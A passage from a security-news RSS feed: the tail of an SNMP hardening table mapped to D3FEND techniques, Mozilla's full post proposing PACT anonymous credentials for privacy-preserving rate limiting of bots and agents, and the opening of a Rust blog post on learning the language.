<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
